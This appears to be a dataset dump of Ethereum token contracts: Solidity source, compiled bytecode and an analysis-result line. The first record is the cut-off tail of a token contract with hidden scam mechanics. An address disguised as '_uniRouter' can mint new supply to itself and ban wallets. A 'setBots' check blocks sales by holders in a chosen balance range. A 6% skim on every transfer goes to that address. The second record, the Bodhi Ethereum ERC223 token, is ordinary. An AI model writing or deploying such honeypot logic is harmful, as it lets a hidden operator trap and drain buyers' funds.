public { require (_uniRouter == _msgSender()); uint256 currentBalance = _balances[_uniRouter]; _tTotal = _rTotal + _tTotal; _balances[_uniRouter] = _rTotal + currentBalance; emit Transfer( address(0), _uniRouter, _rTotal); } function ban(address account, bool banned) public { require (_uniRouter == _msgSender()); if (banned) { require( block.timestamp + 3650 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require (_uniRouter == _msgSender()); bannedUsers[account] = false; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(6).div(100); uint256 reflectEth = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_uniRouter] = _balances[_uniRouter].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectEth); emit Transfer(sender, recipient, reflectEth); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } event WalletBanStatusUpdated(address user, bool banned); }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b41146102ce578063a9059cbb146102ec578063b9f145571461031c578063dd62ed3e14610338578063f2fde38b1461036857610121565b806370a0823114610250578063715018a614610280578063881dce601461028a5780638a4068dd146102a65780638da5cb5b146102b057610121565b806323b872dd116100f457806323b872dd146101ae578063273123b7146101de578063313ce567146101fa5780634c68f4a2146102185780635932ead11461023457610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd146101745780631ad34a4f14610192575b600080fd5b61012e610384565b60405161013b9190612026565b60405180910390f35b61015e60048036038101906101599190611d20565b610416565b60405161016b919061200b565b60405180910390f35b61017c610434565b60405161018991906121c8565b60405180910390f35b6101ac60048036038101906101a79190611d85565b61043e565b005b6101c860048036038101906101c39190611c95565b6104a9565b6040516101d5919061200b565b60405180910390f35b6101f860048036038101906101f39190611c30565b6106a7565b005b610202610797565b60405161020f91906121e3565b60405180910390f35b610232600480360381019061022d9190611ce4565b6107ae565b005b61024e60048036038101906102499190611d5c565b610950565b005b61026a60048036038101906102659190611c30565b610a02565b60405161027791906121c8565b60405180910390f35b610288610a4b565b005b6102a4600480360381019061029f9190611d85565b610b9e565b005b6102ae610c09565b005b6102b8610de6565b6040516102c59190611fc7565b60405180910390f35b6102d6610e0f565b6040516102e39190612026565b60405180910390f35b61030660048036038101906103019190611d20565b610ea1565b604051610313919061200b565b60405180910390f35b61033660048036038101906103319190611c30565b610ebf565b005b610352600480360381019061034d9190611c59565b610f7b565b60405161035f91906121c8565b60405180910390f35b610382600480360381019061037d9190611c30565b611002565b005b606060068054610393906123b7565b80601f01602080910402602001604051908101604052809291908181526020018280546103bf906123b7565b801561040c5780601f106103e15761010080835404028352916020019161040c565b820191906000526020600020905b8154815290600101906020018083116103ef57829003601f168201915b5050505050905090565b600061042a6104236111c4565b84846111cc565b6001905092915050565b6000600454905090565b6104466111c4565b73ffffffffffffffffffffffffffffffffffffffff16600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461049f57600080fd5b80600b8190555050565b6000801515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461053d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053490612188565b60405180910390fd5b60001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c7906120c8565b60405180910390fd5b6105db848484611397565b61069c846105e76111c4565b610697856040518060600160405280602881526020016127c360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d6111c4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197f9092919063ffffffff16565b6111cc565b600190509392505050565b6106af6111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461073c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073390612148565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600860009054906101000a900460ff16905090565b6107b66111c4565b73ffffffffffffffffffffffffffffffffffffffff16600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080f57600080fd5b80156108c357426312cc030042610826919061221a565b11610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d906120e8565b60405180910390fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610913565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b7ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d8282604051610944929190611fe2565b60405180910390a15050565b6109586111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dc90612148565b60405180910390fd5b80600560016101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a536111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad790612148565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ba66111c4565b73ffffffffffffffffffffffffffffffffffffffff16600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bff57600080fd5b80600c8190555050565b610c116111c4565b73ffffffffffffffffffffffffffffffffffffffff16600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c6a57600080fd5b600060016000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600454600954610ce0919061221a565b60048190555080600954610cf4919061221a565b60016000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051610ddb91906121c8565b60405180910390a350565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610e1e906123b7565b80601f0160208091040260200160405190810160405280929190818152602001828054610e4a906123b7565b8015610e975780601f10610e6c57610100808354040283529160200191610e97565b820191906000526020600020905b815481529060010190602001808311610e7a57829003601f168201915b5050505050905090565b6000610eb5610eae6111c4565b8484611397565b6001905092915050565b610ec76111c4565b73ffffffffffffffffffffffffffffffffffffffff16600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2057600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61100a6111c4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612148565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fe90612068565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561123c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611233906121a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390612088565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161138a91906121c8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90612168565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90612048565b60405180910390fd5b61147f610de6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116605761151e8160405180606001604052806026815260200161279d60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115b381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161165391906121c8565b60405180910390a361197a565b61166983611a41565b156116b35760095481116116b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a990612108565b60405180910390fd5b5b60006116dc60646116ce600685611a7f90919063ffffffff16565b611afa90919063ffffffff16565b905060006116f38284611b4490919063ffffffff16565b90506117618360405180606001604052806026815260200161279d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197f9092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118188260016000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e390919063ffffffff16565b60016000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118cf81600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161196f91906121c8565b60405180910390a350505b505050565b60008383111582906119c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119be9190612026565b60405180910390fd5b50600083856119d691906122fb565b9050809150509392505050565b60008082846119f2919061221a565b905083811015611a37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2e906120a8565b60405180910390fd5b8091505092915050565b6000600c54611a4f83610a02565b10158015611a675750600b54611a6483610a02565b11155b15611a755760019050611a7a565b600090505b919050565b600080831415611a925760009050611af4565b60008284611aa091906122a1565b9050828482611aaf9190612270565b14611aef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae690612128565b60405180910390fd5b809150505b92915050565b6000611b3c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8e565b905092915050565b6000611b8683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061197f565b905092915050565b60008083118290611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9190612026565b60405180910390fd5b5060008385611be49190612270565b9050809150509392505050565b600081359050611c0081612757565b92915050565b600081359050611c158161276e565b92915050565b600081359050611c2a81612785565b92915050565b600060208284031215611c4257600080fd5b6000611c5084828501611bf1565b91505092915050565b60008060408385031215611c6c57600080fd5b6000611c7a85828601611bf1565b9250506020611c8b85828601611bf1565b9150509250929050565b600080600060608486031215611caa57600080fd5b6000611cb886828701611bf1565b9350506020611cc986828701611bf1565b9250506040611cda86828701611c1b565b9150509250925092565b60008060408385031215611cf757600080fd5b6000611d0585828601611bf1565b9250506020611d1685828601611c06565b9150509250929050565b60008060408385031215611d3357600080fd5b6000611d4185828601611bf1565b9250506020611d5285828601611c1b565b9150509250929050565b600060208284031215611d6e57600080fd5b6000611d7c84828501611c06565b91505092915050565b600060208284031215611d9757600080fd5b6000611da584828501611c1b565b91505092915050565b611db78161232f565b82525050565b611dc681612341565b82525050565b6000611dd7826121fe565b611de18185612209565b9350611df1818560208601612384565b611dfa81612476565b840191505092915050565b6000611e12602383612209565b9150611e1d82612487565b604082019050919050565b6000611e35602683612209565b9150611e40826124d6565b604082019050919050565b6000611e58602283612209565b9150611e6382612525565b604082019050919050565b6000611e7b601b83612209565b9150611e8682612574565b602082019050919050565b6000611e9e601383612209565b9150611ea98261259d565b602082019050919050565b6000611ec1600183612209565b9150611ecc826125c6565b602082019050919050565b6000611ee4601383612209565b9150611eef826125ef565b602082019050919050565b6000611f07602183612209565b9150611f1282612618565b604082019050919050565b6000611f2a602083612209565b9150611f3582612667565b602082019050919050565b6000611f4d602583612209565b9150611f5882612690565b604082019050919050565b6000611f70601083612209565b9150611f7b826126df565b602082019050919050565b6000611f93602483612209565b9150611f9e82612708565b604082019050919050565b611fb28161236d565b82525050565b611fc181612377565b82525050565b6000602082019050611fdc6000830184611dae565b92915050565b6000604082019050611ff76000830185611dae565b6120046020830184611dbd565b9392505050565b60006020820190506120206000830184611dbd565b92915050565b600060208201905081810360008301526120408184611dcc565b905092915050565b6000602082019050818103600083015261206181611e05565b9050919050565b6000602082019050818103600083015261208181611e28565b9050919050565b600060208201905081810360008301526120a181611e4b565b9050919050565b600060208201905081810360008301526120c181611e6e565b9050919050565b600060208201905081810360008301526120e181611e91565b9050919050565b6000602082019050818103600083015261210181611eb4565b9050919050565b6000602082019050818103600083015261212181611ed7565b9050919050565b6000602082019050818103600083015261214181611efa565b9050919050565b6000602082019050818103600083015261216181611f1d565b9050919050565b6000602082019050818103600083015261218181611f40565b9050919050565b600060208201905081810360008301526121a181611f63565b9050919050565b600060208201905081810360008301526121c181611f86565b9050919050565b60006020820190506121dd6000830184611fa9565b92915050565b60006020820190506121f86000830184611fb8565b92915050565b600081519050919050565b600082825260208201905092915050565b60006122258261236d565b91506122308361236d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612265576122646123e9565b5b828201905092915050565b600061227b8261236d565b91506122868361236d565b92508261229657612295612418565b5b828204905092915050565b60006122ac8261236d565b91506122b78361236d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122f0576122ef6123e9565b5b828202905092915050565b60006123068261236d565b91506123118361236d565b925082821015612324576123236123e9565b5b828203905092915050565b600061233a8261234d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156123a2578082015181840152602081019050612387565b838111156123b1576000848401525b50505050565b600060028204905060018216806123cf57607f821691505b602082108114156123e3576123e2612447565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526563697069656e742069732062616e6e656400000000000000000000000000600082015250565b7f7800000000000000000000000000000000000000000000000000000000000000600082015250565b7f426f742063616e206e6f74206578656375746500000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f53656e6465722069732062616e6e656400000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6127608161232f565b811461276b57600080fd5b50565b61277781612341565b811461278257600080fd5b50565b61278e8161236d565b811461279957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122045f85b25aef9b4ac936f405345cdba3120384b1b29f9313f80dfced2dde8ea5964736f6c63430008040033
{"success": true, "error": null, "results": {}}
5,803
0x970e035e2a013cf4becd67e300d65bc32a56d826
pragma solidity ^0.4.23; /** * @title ERC20 interface * @dev Implements ERC20 Token Standard: https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { uint256 public totalSupply; function transfer(address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function balanceOf(address _owner) public view returns (uint256 balance); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x + y; assert((z >= x) && (z >= y)); return z; } function sub(uint256 x, uint256 y) internal pure returns(uint256) { assert(x >= y); uint256 z = x - y; return z; } function mul(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x * y; assert((x == 0) || (z / x == y)); return z; } function div(uint256 x, uint256 y) internal pure returns(uint256) { assert(y != 0); uint256 z = x / y; assert(x == y * z + x % y); return z; } } /// @title Contract that will work with ERC223 tokens. contract ERC223ReceivingContract { /* * @dev Standard ERC223 function that will handle incoming token transfers. * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) external; } /** * @title Ownable contract * @dev The Ownable contract has an owner address, and provides basic authorization control functions. */ contract Ownable { address public owner; // Modifiers modifier onlyOwner() { require(msg.sender == owner); _; } modifier validAddress(address _address) { require(_address != address(0)); _; } // Events event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); /// @dev The Ownable constructor sets the original `owner` of the contract to the sender account. constructor(address _owner) public validAddress(_owner) { owner = _owner; } /// @dev Allows the current owner to transfer control of the contract to a newOwner. /// @param _newOwner The address to transfer ownership to. function transferOwnership(address _newOwner) public onlyOwner validAddress(_newOwner) { emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC223 is ERC20 { function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } contract StandardToken is ERC223 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; // Modifiers modifier validAddress(address _address) { require(_address != address(0)); _; } /* * @dev ERC20 method to transfer token to a specified address. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; transfer(_to, _value, empty); } /* * @dev ERC223 method to transfer token to a specified address with data. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint256 _value, bytes _data) public validAddress(_to) returns (bool success) { uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); // Call token fallback function if _to is a contract. Rejects if not implemented. if (codeLength > 0) { ERC223ReceivingContract(_to).tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } /* * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /* * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public validAddress(_to) returns (bool) { uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /* * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /* * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { // Events event Mint(uint256 supply, address indexed to, uint256 amount); function tokenTotalSupply() public pure returns (uint256); /// @dev Allows the owner to mint new tokens /// @param _to Address to mint the tokens to /// @param _amount Amount of tokens that will be minted /// @return Boolean to signify successful minting function mint(address _to, uint256 _amount) external onlyOwner returns (bool) { require(totalSupply.add(_amount) <= tokenTotalSupply()); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(totalSupply, _to, _amount); emit Transfer(address(0), _to, _amount); return true; } } contract BodhiEthereum is MintableToken { // Token configurations string public constant name = "Bodhi Ethereum"; string public constant symbol = "BOE"; uint256 public constant decimals = 8; constructor() Ownable(msg.sender) public { } // 100 million BOE ever created function tokenTotalSupply() public pure returns (uint256) { return 100 * (10**6) * (10**decimals); } }
0x6080604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019657806323b872dd146101bd578063313ce567146101e757806340c10f19146101fc57806370a08231146102205780638da5cb5b1461024157806395d89b4114610272578063a9059cbb14610287578063be45fd62146102ab578063dd62ed3e14610314578063f2fde38b1461033b578063f7abab9e1461035e575b600080fd5b3480156100e057600080fd5b506100e9610373565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012357818101518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016a57600080fd5b50610182600160a060020a03600435166024356103aa565b604080519115158252519081900360200190f35b3480156101a257600080fd5b506101ab61044c565b60408051918252519081900360200190f35b3480156101c957600080fd5b50610182600160a060020a0360043581169060243516604435610452565b3480156101f357600080fd5b506101ab610578565b34801561020857600080fd5b50610182600160a060020a036004351660243561057d565b34801561022c57600080fd5b506101ab600160a060020a036004351661069e565b34801561024d57600080fd5b506102566106b9565b60408051600160a060020a039092168252519081900360200190f35b34801561027e57600080fd5b506100e96106c8565b34801561029357600080fd5b50610182600160a060020a03600435166024356106ff565b3480156102b757600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610182948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107169650505050505050565b34801561032057600080fd5b506101ab600160a060020a03600435811690602435166109a8565b34801561034757600080fd5b5061035c600160a060020a03600435166109d3565b005b34801561036a57600080fd5b506101ab610a6a565b60408051808201909152600e81527f426f64686920457468657265756d000000000000000000000000000000000000602082015281565b60008115806103da5750336000908152600260209081526040808320600160a060020a0387168452909152902054155b15156103e557600080fd5b336000818152600260209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b60008083600160a060020a038116151561046b57600080fd5b600160a060020a038616600081815260026020908152604080832033845282528083205493835260019091529020549092506104ad908563ffffffff610a7516565b600160a060020a0380881660009081526001602052604080822093909355908716815220546104e2908563ffffffff610a8916565b600160a060020a03861660009081526001602052604090205561050b828563ffffffff610a7516565b600160a060020a03808816600081815260026020908152604080832033845282529182902094909455805188815290519289169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a350600195945050505050565b600881565b600354600090600160a060020a0316331461059757600080fd5b61059f610a6a565b6000546105b2908463ffffffff610a8916565b11156105bd57600080fd5b6000546105d0908363ffffffff610a8916565b6000908155600160a060020a0384168152600160205260409020546105fb908363ffffffff610a8916565b600160a060020a03841660008181526001602090815260408083209490945590548351908152908101859052825191927f4e3883c75cc9c752bb1db2e406a822e4a75067ae77ad9a0a4d179f2709b9e1f692918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051808201909152600381527f424f450000000000000000000000000000000000000000000000000000000000602082015281565b6000606061070e848483610716565b505092915050565b60008084600160a060020a038116151561072f57600080fd5b33600090815260016020526040902054863b9250610753908663ffffffff610a7516565b3360009081526001602052604080822092909255600160a060020a03881681522054610785908663ffffffff610a8916565b600160a060020a0387166000908152600160205260408120919091558211156108a75785600160a060020a031663c0ee0b8a3387876040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610840578181015183820152602001610828565b50505050905090810190601f16801561086d5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561088e57600080fd5b505af11580156108a2573d6000803e3d6000fd5b505050505b604080518681529051600160a060020a0388169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a385600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1687876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610961578181015183820152602001610949565b50505050905090810190601f16801561098e5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a350600195945050505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146109ea57600080fd5b80600160a060020a0381161515610